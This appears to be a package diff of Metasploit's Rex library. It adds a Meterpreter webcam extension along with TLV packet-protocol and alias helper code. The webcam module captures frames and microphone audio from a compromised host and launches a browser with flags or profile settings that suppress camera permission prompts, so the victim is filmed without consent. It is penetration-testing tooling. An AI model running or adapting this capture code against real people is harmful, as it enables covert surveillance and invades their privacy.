  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,201 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #require 'rex/post/meterpreter/extensions/process'
4
+
5
+ module Rex
6
+ module Post
7
+ module Meterpreter
8
+ module Extensions
9
+ module Stdapi
10
+ module Webcam
11
+
12
+ ###
13
+ #
14
+ # This meterpreter extension can list and capture from webcams and/or microphone
15
+ #
16
+ ###
17
+ class Webcam
18
+
19
+ include Msf::Post::Common
20
+ include Msf::Post::File
21
+ include Msf::Post::WebRTC
22
+
23
+ def initialize(client)
24
+ @client = client
25
+ end
26
+
27
+ def session
28
+ @client
29
+ end
30
+
31
+ def webcam_list
32
+ response = client.send_request(Packet.create_request('webcam_list'))
33
+ names = []
34
+ response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
35
+ names << tlv.value
36
+ }
37
+ names
38
+ end
39
+
40
+ # Starts recording video from video source of index +cam+
41
+ def webcam_start(cam)
42
+ request = Packet.create_request('webcam_start')
43
+ request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
44
+ client.send_request(request)
45
+ true
46
+ end
47
+
48
+ def webcam_get_frame(quality)
49
+ request = Packet.create_request('webcam_get_frame')
50
+ request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
51
+ response = client.send_request(request)
52
+ response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
53
+ end
54
+
55
+ def webcam_stop
56
+ client.send_request( Packet.create_request( 'webcam_stop' ) )
57
+ true
58
+ end
59
+
60
+ #
61
+ # Starts a webcam session with a remote user via WebRTC
62
+ #
63
+ # @param server [String] A server to use for the channel.
64
+ # @return void
65
+ #
66
+ def webcam_chat(server)
67
+ offerer_id = Rex::Text.rand_text_alphanumeric(10)
68
+ channel = Rex::Text.rand_text_alphanumeric(20)
69
+
70
+ remote_browser_path = get_webrtc_browser_path
71
+
72
+ if remote_browser_path.blank?
73
+ raise RuntimeError, "Unable to find a suitable browser on the target machine"
74
+ end
75
+
76
+ ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
77
+ connect_video_chat(server, channel, offerer_id)
78
+ end
79
+
80
+ # Record from default audio source for +duration+ seconds;
81
+ # returns a low-quality wav file
82
+ def record_mic(duration)
83
+ request = Packet.create_request('webcam_audio_record')
84
+ request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
85
+ response = client.send_request(request)
86
+ response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
87
+ end
88
+
89
+ attr_accessor :client
90
+
91
+
92
+ private
93
+
94
+
95
+ #
96
+ # Returns a browser path that supports WebRTC
97
+ #
98
+ # @return [String]
99
+ #
100
+ def get_webrtc_browser_path
101
+ found_browser_path = ''
102
+
103
+ case client.platform
104
+ when /win/
105
+ paths = [
106
+ "Program Files\\Google\\Chrome\\Application\\chrome.exe",
107
+ "Program Files\\Mozilla Firefox\\firefox.exe"
108
+ ]
109
+
110
+ drive = session.sys.config.getenv("SYSTEMDRIVE")
111
+ paths = paths.map { |p| "#{drive}\\#{p}" }
112
+
113
+ # Old chrome path
114
+ user_profile = client.sys.config.getenv("USERPROFILE")
115
+ paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
116
+
117
+ paths.each do |browser_path|
118
+ if file?(browser_path)
119
+ found_browser_path = browser_path
120
+ break
121
+ end
122
+ end
123
+
124
+ when /osx|bsd/
125
+ [
126
+ '/Applications/Google Chrome.app',
127
+ '/Applications/Firefox.app',
128
+ ].each do |browser_path|
129
+ if file?(browser_path)
130
+ found_browser_path = browser_path
131
+ break
132
+ end
133
+ end
134
+ when /linux|unix/
135
+ # Need to add support for Linux in the future.
136
+ # But you see, the Linux meterpreter is so broken there is no point
137
+ # to do it now. You can't test anyway.
138
+ end
139
+
140
+ found_browser_path
141
+ end
142
+
143
+
144
+ #
145
+ # Creates a video chat session as an offerer... involuntarily :-p
146
+ # Windows targets only.
147
+ #
148
+ # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
149
+ # @param offerer_id [String] A ID that the answerer can look for and join
150
+ #
151
+ def init_video_chat(remote_browser_path, server, channel, offerer_id)
152
+ interface = load_interface('offerer.html')
153
+ api = load_api_code
154
+
155
+ interface = interface.gsub(/\=SERVER\=/, server)
156
+ interface = interface.gsub(/\=CHANNEL\=/, channel)
157
+ interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
158
+
159
+ tmp_dir = session.sys.config.getenv("TEMP")
160
+
161
+ begin
162
+ write_file("#{tmp_dir}\\interface.html", interface)
163
+ write_file("#{tmp_dir}\\api.js", api)
164
+ rescue ::Exception => e
165
+ elog("webcam_chat failed. #{e.class} #{e.to_s}")
166
+ raise RuntimeError, "Unable to initialize the interface on the target machine"
167
+ end
168
+
169
+ #
170
+ # Automatically allow the webcam to run on the target machine
171
+ #
172
+ args = ''
173
+ if remote_browser_path =~ /Chrome/
174
+ args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
175
+ elsif remote_browser_path =~ /Firefox/
176
+ profile_name = Rex::Text.rand_text_alpha(8)
177
+ o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
178
+ profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
179
+ setting = %Q|user_pref("media.navigator.permission.disabled", true);|
180
+ begin
181
+ write_file(profile_path, setting)
182
+ rescue ::Exception => e
183
+ elog("webcam_chat failed: #{e.class} #{e.to_s}")
184
+ raise RuntimeError, "Unable to write the necessary setting for Firefox."
185
+ end
186
+ args = "-p #{profile_name}"
187
+ end
188
+
189
+ exec_opts = {'Hidden' => false, 'Channelized' => false}
190
+
191
+ begin
192
+ session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
193
+ rescue ::Exception => e
194
+ elog("webcam_chat failed. #{e.class} #{e.to_s}")
195
+ raise RuntimeError, "Unable to start the remote browser: #{e.message}"
196
+ end
197
+ end
198
+
199
+ end
200
+
201
+ end; end; end; end; end; end
@@ -0,0 +1,30 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+
7
+ ###
8
+ #
9
+ # Mixin that provides stubs for handling inbound packets
10
+ #
11
+ ###
12
+ module InboundPacketHandler
13
+
14
+ #
15
+ # Stub request handler that returns false by default.
16
+ #
17
+ def request_handler(client, packet)
18
+ return false
19
+ end
20
+
21
+ #
22
+ # Stub response handler that returns false by default.
23
+ #
24
+ def response_handler(client, packet)
25
+ return false
26
+ end
27
+
28
+ end
29
+
30
+ end; end; end
@@ -0,0 +1,83 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+
7
+ ###
8
+ #
9
+ # Mixin for classes that wish to have object aliases but do not
10
+ # really need to inherit from the ObjectAliases class.
11
+ #
12
+ ###
13
+ module ObjectAliasesContainer
14
+
15
+ #
16
+ # Initialize the instance's aliases.
17
+ #
18
+ def initialize_aliases(aliases = {})
19
+ self.aliases = aliases
20
+ end
21
+
22
+ #
23
+ # Pass-thru aliases.
24
+ #
25
+ def method_missing(symbol, *args)
26
+ self.aliases[symbol.to_s]
27
+ end
28
+
29
+ #
30
+ # Recursively dumps all of the aliases registered with a class that
31
+ # is kind_of? ObjectAliases.
32
+ #
33
+ def dump_alias_tree(parent_path, current = nil)
34
+ items = []
35
+
36
+ if (current == nil)
37
+ current = self
38
+ end
39
+
40
+ # If the current object may have object aliases...
41
+ if (current.kind_of?(Rex::Post::Meterpreter::ObjectAliases))
42
+ current.aliases.each_key { |x|
43
+ current_path = parent_path + '.' + x
44
+
45
+ items << current_path
46
+
47
+ items.concat(dump_alias_tree(current_path,
48
+ current.aliases[x]))
49
+ }
50
+ end
51
+
52
+ return items
53
+ end
54
+
55
+ #
56
+ # The hash of aliases.
57
+ #
58
+ attr_accessor :aliases
59
+ end
60
+
61
+ ###
62
+ #
63
+ # Generic object aliases from a class instance referenced symbol to an
64
+ # associated object of an arbitrary type
65
+ #
66
+ ###
67
+ class ObjectAliases
68
+ include Rex::Post::Meterpreter::ObjectAliasesContainer
69
+
70
+ ##
71
+ #
72
+ # Constructor
73
+ #
74
+ ##
75
+
76
+ # An instance
77
+ def initialize(aliases = {})
78
+ initialize_aliases(aliases)
79
+ end
80
+ end
81
+
82
+
83
+ end; end; end
@@ -0,0 +1,709 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+
7
+ #
8
+ # Constants
9
+ #
10
+ PACKET_TYPE_REQUEST = 0
11
+ PACKET_TYPE_RESPONSE = 1
12
+ PACKET_TYPE_PLAIN_REQUEST = 10
13
+ PACKET_TYPE_PLAIN_RESPONSE = 11
14
+
15
+ #
16
+ # TLV Meta Types
17
+ #
18
+ TLV_META_TYPE_NONE = 0
19
+ TLV_META_TYPE_STRING = (1 << 16)
20
+ TLV_META_TYPE_UINT = (1 << 17)
21
+ TLV_META_TYPE_RAW = (1 << 18)
22
+ TLV_META_TYPE_BOOL = (1 << 19)
23
+ TLV_META_TYPE_QWORD = (1 << 20)
24
+ TLV_META_TYPE_COMPRESSED = (1 << 29)
25
+ TLV_META_TYPE_GROUP = (1 << 30)
26
+ TLV_META_TYPE_COMPLEX = (1 << 31)
27
+
28
+ # Exclude compressed from the mask since other meta types (e.g. RAW) can also
29
+ # be compressed
30
+ TLV_META_MASK = (
31
+ TLV_META_TYPE_STRING |
32
+ TLV_META_TYPE_UINT |
33
+ TLV_META_TYPE_RAW |
34
+ TLV_META_TYPE_BOOL |
35
+ TLV_META_TYPE_QWORD |
36
+ TLV_META_TYPE_GROUP |
37
+ TLV_META_TYPE_COMPLEX
38
+ )
39
+
40
+ #
41
+ # TLV base starting points
42
+ #
43
+ TLV_RESERVED = 0
44
+ TLV_EXTENSIONS = 20000
45
+ TLV_USER = 40000
46
+ TLV_TEMP = 60000
47
+
48
+ #
49
+ # TLV Specific Types
50
+ #
51
+ TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
52
+ TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
53
+ TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
54
+ TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
55
+ TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
56
+
57
+
58
+ TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
59
+ TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
60
+ TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
61
+
62
+ TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
63
+ TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
64
+ TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
65
+
66
+ TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
67
+ TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
68
+ TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
69
+ TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
70
+ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
71
+ TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
72
+
73
+ TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
74
+ TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
75
+ TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
76
+
77
+ TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
78
+ TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
79
+
80
+ TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
81
+ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
82
+ TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
83
+ TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
84
+ TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
85
+ TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
86
+
87
+ TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
88
+ TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
89
+
90
+ #
91
+ # Core flags
92
+ #
93
+ LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0)
94
+ LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
95
+ LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
96
+
97
+ ###
98
+ #
99
+ # Base TLV (Type-Length-Value) class
100
+ #
101
+ ###
102
+ class Tlv
103
+ attr_accessor :type, :value, :compress
104
+
105
+ ##
106
+ #
107
+ # Constructor
108
+ #
109
+ ##
110
+
111
+ #
112
+ # Returns an instance of a TLV.
113
+ #
114
+ def initialize(type, value = nil, compress=false)
115
+ @type = type
116
+ @compress = compress
117
+
118
+ if (value != nil)
119
+ if (type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
120
+ if (value.kind_of?(Fixnum))
121
+ @value = value.to_s
122
+ else
123
+ @value = value.dup
124
+ end
125
+ else
126
+ @value = value
127
+ end
128
+ end
129
+ end
130
+
131
+ def inspect
132
+ utype = type ^ TLV_META_TYPE_COMPRESSED
133
+ group = false
134
+ meta = case (utype & TLV_META_MASK)
135
+ when TLV_META_TYPE_STRING; "STRING"
136
+ when TLV_META_TYPE_UINT; "INT"
137
+ when TLV_META_TYPE_RAW; "RAW"
138
+ when TLV_META_TYPE_BOOL; "BOOL"
139
+ when TLV_META_TYPE_QWORD; "QWORD"
140
+ when TLV_META_TYPE_GROUP; group=true; "GROUP"
141
+ when TLV_META_TYPE_COMPLEX; "COMPLEX"
142
+ else; 'unknown-meta-type'
143
+ end
144
+ stype = case type
145
+ when PACKET_TYPE_REQUEST; "Request"
146
+ when PACKET_TYPE_RESPONSE; "Response"
147
+ when TLV_TYPE_REQUEST_ID; "REQUEST-ID"
148
+ when TLV_TYPE_METHOD; "METHOD"
149
+ when TLV_TYPE_RESULT; "RESULT"
150
+ when TLV_TYPE_EXCEPTION; "EXCEPTION"
151
+ when TLV_TYPE_STRING; "STRING"
152
+ when TLV_TYPE_UINT; "UINT"
153
+ when TLV_TYPE_BOOL; "BOOL"
154
+
155
+ when TLV_TYPE_LENGTH; "LENGTH"
156
+ when TLV_TYPE_DATA; "DATA"
157
+ when TLV_TYPE_FLAGS; "FLAGS"
158
+
159
+ when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID"
160
+ when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE"
161
+ when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA"
162
+ when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP"
163
+ when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS"
164
+ when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID"
165
+
166
+ when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE"
167
+ when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET"
168
+ when TLV_TYPE_SEEK_POS; "SEEK-POS"
169
+
170
+ when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE"
171
+ when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING"
172
+
173
+ when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH"
174
+ when TLV_TYPE_TARGET_PATH; "TARGET-PATH"
175
+ when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID"
176
+ when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
177
+ when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
178
+ when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
179
+
180
+ #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
181
+ #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
182
+ #when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
183
+ #when Extensions::Stdapi::TLV_TYPE_MAC_ADDRESS; 'mac-address'
184
+ #when Extensions::Stdapi::TLV_TYPE_MAC_NAME; 'interface-name'
185
+ #when Extensions::Stdapi::TLV_TYPE_IP6_SCOPE; 'address-scope'
186
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_MTU; 'interface-mtu'
187
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_FLAGS; 'interface-flags'
188
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_INDEX; 'interface-index'
189
+
190
+ else; "unknown-#{type}"
191
+ end
192
+ val = value.inspect
193
+ if val.length > 50
194
+ val = val[0,50] + ' ..."'
195
+ end
196
+ group ||= (self.class.to_s =~ /Packet/)
197
+ if group
198
+ tlvs_inspect = "tlvs=[\n"
199
+ @tlvs.each { |t|
200
+ tlvs_inspect << " #{t.inspect}\n"
201
+ }
202
+ tlvs_inspect << "]"
203
+ else
204
+ tlvs_inspect = "meta=#{meta.ljust 10} value=#{val}"
205
+ end
206
+ "#<#{self.class} type=#{stype.ljust 15} #{tlvs_inspect}>"
207
+ end
208
+
209
+ ##
210
+ #
211
+ # Conditionals
212
+ #
213
+ ##
214
+
215
+ #
216
+ # Checks to see if a TLVs meta type is equivalent to the meta type passed.
217
+ #
218
+ def meta_type?(meta)
219
+ return (self.type & meta == meta)
220
+ end
221
+
222
+ #
223
+ # Checks to see if the TLVs type is equivalent to the type passed.
224
+ #
225
+ def type?(type)
226
+ return self.type == type
227
+ end
228
+
229
+ #
230
+ # Checks to see if the TLVs value is equivalent to the value passed.
231
+ #
232
+ def value?(value)
233
+ return self.value == value
234
+ end
235
+
236
+ ##
237
+ #
238
+ # Serializers
239
+ #
240
+ ##
241
+
242
+ #
243
+ # Converts the TLV to raw.
244
+ #
245
+ def to_r
246
+ # Forcibly convert to ASCII-8BIT encoding
247
+ raw = value.to_s.unpack("C*").pack("C*")
248
+
249
+ if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
250
+ raw += "\x00"
251
+ elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
252
+ raw = [value].pack("N")
253
+ elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
254
+ raw = [ self.htonq( value.to_i ) ].pack("Q<")
255
+ elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
256
+ if (value == true)
257
+ raw = [1].pack("c")
258
+ else
259
+ raw = [0].pack("c")
260
+ end
261
+ end
262
+
263
+ # check if the tlv is to be compressed...
264
+ if( @compress )
265
+ raw_uncompressed = raw
266
+ # compress the raw data
267
+ raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed )
268
+ # check we have actually made the raw data smaller...
269
+ # (small blobs often compress slightly larger then the origional)
270
+ # if the compressed data is not smaller, we dont use the compressed data
271
+ if( raw_compressed.length < raw_uncompressed.length )
272
+ # if so, set the TLV's type to indicate compression is used
273
+ self.type = self.type | TLV_META_TYPE_COMPRESSED
274
+ # update the raw data with the uncompressed data length + compressed data
275
+ # (we include the uncompressed data length as the C side will need to know this for decompression)
276
+ raw = [ raw_uncompressed.length ].pack("N") + raw_compressed
277
+ end
278
+ end
279
+
280
+ return [raw.length + 8, self.type].pack("NN") + raw
281
+ end
282
+
283
+ #
284
+ # Translates the raw format of the TLV into a sanitize version.
285
+ #
286
+ def from_r(raw)
287
+ self.value = nil
288
+
289
+ length, self.type = raw.unpack("NN");
290
+
291
+ # check if the tlv value has been compressed...
292
+ if( self.type & TLV_META_TYPE_COMPRESSED == TLV_META_TYPE_COMPRESSED )
293
+ # set this TLV as using compression
294
+ @compress = true
295
+ # remove the TLV_META_TYPE_COMPRESSED flag from the tlv type to restore the
296
+ # tlv type to its origional, allowing for transparent data compression.
297
+ self.type = self.type ^ TLV_META_TYPE_COMPRESSED
298
+ # decompress the compressed data (skipping the length and type DWORD's)
299
+ raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )
300
+ # update the length to reflect the decompressed data length (+8 for the length and type DWORD's)
301
+ length = raw_decompressed.length + 8
302
+ # update the raw buffer with the new length, decompressed data and updated type.
303
+ raw = [length, self.type].pack("NN") + raw_decompressed
304
+ end
305
+
306
+ if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
307
+ if (raw.length > 0)
308
+ self.value = raw[8..length-2]
309
+ else
310
+ self.value = nil
311
+ end
312
+ elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
313
+ self.value = raw.unpack("NNN")[2]
314
+ elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
315
+ self.value = raw.unpack("NNQ<")[2]
316
+ self.value = self.ntohq( self.value )
317
+ elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
318
+ self.value = raw.unpack("NNc")[2]
319
+
320
+ if (self.value == 1)
321
+ self.value = true
322
+ else
323
+ self.value = false
324
+ end
325
+ else
326
+ self.value = raw[8..length-1]
327
+ end
328
+
329
+ return length;
330
+ end
331
+
332
+ protected
333
+
334
+ def htonq( value )
335
+ if( [1].pack( 's' ) == [1].pack( 'n' ) )
336
+ return value
337
+ end
338
+ return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
339
+ end
340
+
341
+ def ntohq( value )
342
+ return htonq( value )
343
+ end
344
+
345
+ end
346
+
347
+ ###
348
+ #
349
+ # Group TLVs contain zero or more TLVs
350
+ #
351
+ ###
352
+ class GroupTlv < Tlv
353
+ attr_accessor :tlvs
354
+
355
+ ##
356
+ #
357
+ # Constructor
358
+ #
359
+ ##
360
+
361
+ #
362
+ # Initializes the group TLV container to the supplied type
363
+ # and creates an empty TLV array.
364
+ #
365
+ def initialize(type)
366
+ super(type)
367
+
368
+ self.tlvs = [ ]
369
+ end
370
+
371
+ ##
372
+ #
373
+ # Group-based TLV accessors
374
+ #
375
+ ##
376
+
377
+ #
378
+ # Enumerates TLVs of the supplied type.
379
+ #
380
+ def each(type = TLV_TYPE_ANY, &block)
381
+ get_tlvs(type).each(&block)
382
+ end
383
+
384
+ #
385
+ # Synonym for each.
386
+ #
387
+ def each_tlv(type = TLV_TYPE_ANY, &block)
388
+ each(type, &block)
389
+ end
390
+
391
+ #
392
+ # Enumerates TLVs of a supplied type with indexes.
393
+ #
394
+ def each_with_index(type = TLV_TYPE_ANY, &block)
395
+ get_tlvs(type).each_with_index(&block)
396
+ end
397
+
398
+ #
399
+ # Synonym for each_with_index.
400
+ #
401
+ def each_tlv_with_index(type = TLV_TYPE_ANY, &block)
402
+ each_with_index(type, block)
403
+ end
404
+
405
+ #
406
+ # Returns an array of TLVs for the given type.
407
+ #
408
+ def get_tlvs(type)
409
+ if (type == TLV_TYPE_ANY)
410
+ return self.tlvs
411
+ else
412
+ type_tlvs = []
413
+
414
+ self.tlvs.each() { |tlv|
415
+ if (tlv.type?(type))
416
+ type_tlvs << tlv
417
+ end
418
+ }
419
+
420
+ return type_tlvs
421
+ end
422
+ end
423
+
424
+ ##
425
+ #
426
+ # TLV management
427
+ #
428
+ ##
429
+
430
+ #
431
+ # Adds a TLV of a given type and value.
432
+ #
433
+ def add_tlv(type, value = nil, replace = false, compress=false)
434
+
435
+ # If we should replace any TLVs with the same type...remove them first
436
+ if (replace)
437
+ each(type) { |tlv|
438
+ if (tlv.type == type)
439
+ self.tlvs.delete(tlv)
440
+ end
441
+ }
442
+ end
443
+
444
+ if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
445
+ tlv = GroupTlv.new(type)
446
+ else
447
+ tlv = Tlv.new(type, value, compress)
448
+ end
449
+
450
+ self.tlvs << tlv
451
+
452
+ return tlv
453
+ end
454
+
455
+ #
456
+ # Adds zero or more TLVs to the packet.
457
+ #
458
+ def add_tlvs(tlvs)
459
+ if (tlvs != nil)
460
+ tlvs.each { |tlv|
461
+ add_tlv(tlv['type'], tlv['value'])
462
+ }
463
+ end
464
+ end
465
+
466
+ #
467
+ # Gets the first TLV of a given type.
468
+ #
469
+ def get_tlv(type, index = 0)
470
+ type_tlvs = get_tlvs(type)
471
+
472
+ if (type_tlvs.length > index)
473
+ return type_tlvs[index]
474
+ end
475
+
476
+ return nil
477
+ end
478
+
479
+ #
480
+ # Returns the value of a TLV if it exists, otherwise nil.
481
+ #
482
+ def get_tlv_value(type, index = 0)
483
+ tlv = get_tlv(type, index)
484
+
485
+ return (tlv != nil) ? tlv.value : nil
486
+ end
487
+
488
+ #
489
+ # Returns an array of values for all tlvs of type type.
490
+ #
491
+ def get_tlv_values(type)
492
+ get_tlvs(type).collect { |a| a.value }
493
+ end
494
+
495
+ #
496
+ # Checks to see if the container has a TLV of a given type.
497
+ #
498
+ def has_tlv?(type)
499
+ return get_tlv(type) != nil
500
+ end
501
+
502
+ #
503
+ # Zeros out the array of TLVs.
504
+ #
505
+ def reset
506
+ self.tlvs = []
507
+ end
508
+
509
+ ##
510
+ #
511
+ # Serializers
512
+ #
513
+ ##
514
+
515
+ #
516
+ # Converts all of the TLVs in the TLV array to raw and prefixes them
517
+ # with a container TLV of this instance's TLV type.
518
+ #
519
+ def to_r
520
+ raw = ''
521
+
522
+ self.each() { |tlv|
523
+ raw << tlv.to_r
524
+ }
525
+
526
+ return [raw.length + 8, self.type].pack("NN") + raw
527
+ end
528
+
529
+ #
530
+ # Converts the TLV group container from raw to all of the individual
531
+ # TLVs.
532
+ #
533
+ def from_r(raw)
534
+ offset = 8
535
+
536
+ # Reset the TLVs array
537
+ self.tlvs = []
538
+ self.type = raw.unpack("NN")[1]
539
+
540
+ # Enumerate all of the TLVs
541
+ while (offset < raw.length-1)
542
+
543
+ tlv = nil
544
+
545
+ # Get the length and type
546
+ length, type = raw[offset..offset+8].unpack("NN")
547
+
548
+ if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
549
+ tlv = GroupTlv.new(type)
550
+ else
551
+ tlv = Tlv.new(type)
552
+ end
553
+
554
+ tlv.from_r(raw[offset..offset+length])
555
+
556
+ # Insert it into the list of TLVs
557
+ tlvs << tlv
558
+
559
+ # Move up
560
+ offset += length
561
+ end
562
+ end
563
+
564
+ end
565
+
566
+ ###
567
+ #
568
+ # The logical meterpreter packet class
569
+ #
570
+ ###
571
+ class Packet < GroupTlv
572
+ attr_accessor :created_at
573
+
574
+ ##
575
+ #
576
+ # Factory
577
+ #
578
+ ##
579
+
580
+ #
581
+ # Creates a request with the supplied method.
582
+ #
583
+ def Packet.create_request(method = nil)
584
+ return Packet.new(PACKET_TYPE_REQUEST, method)
585
+ end
586
+
587
+ #
588
+ # Creates a response to a request if one is provided.
589
+ #
590
+ def Packet.create_response(request = nil)
591
+ response_type = PACKET_TYPE_RESPONSE
592
+ method = nil
593
+
594
+ if (request)
595
+ if (request.type?(PACKET_TYPE_PLAIN_REQUEST))
596
+ response_type = PACKET_TYPE_PLAIN_RESPONSE
597
+ end
598
+
599
+ method = request.method
600
+ end
601
+
602
+ return Packet.new(response_type, method)
603
+ end
604
+
605
+ ##
606
+ #
607
+ # Constructor
608
+ #
609
+ ##
610
+
611
+ #
612
+ # Initializes the packet to the supplied packet type and method,
613
+ # if any. If the packet is a request, a request identifier is
614
+ # created.
615
+ #
616
+ def initialize(type = nil, method = nil)
617
+ super(type)
618
+
619
+ if (method)
620
+ self.method = method
621
+ end
622
+
623
+ self.created_at = ::Time.now
624
+
625
+ # If it's a request, generate a random request identifier
626
+ if ((type == PACKET_TYPE_REQUEST) ||
627
+ (type == PACKET_TYPE_PLAIN_REQUEST))
628
+ rid = ''
629
+
630
+ 32.times { |val| rid << rand(10).to_s }
631
+
632
+ add_tlv(TLV_TYPE_REQUEST_ID, rid)
633
+ end
634
+ end
635
+
636
+ ##
637
+ #
638
+ # Conditionals
639
+ #
640
+ ##
641
+
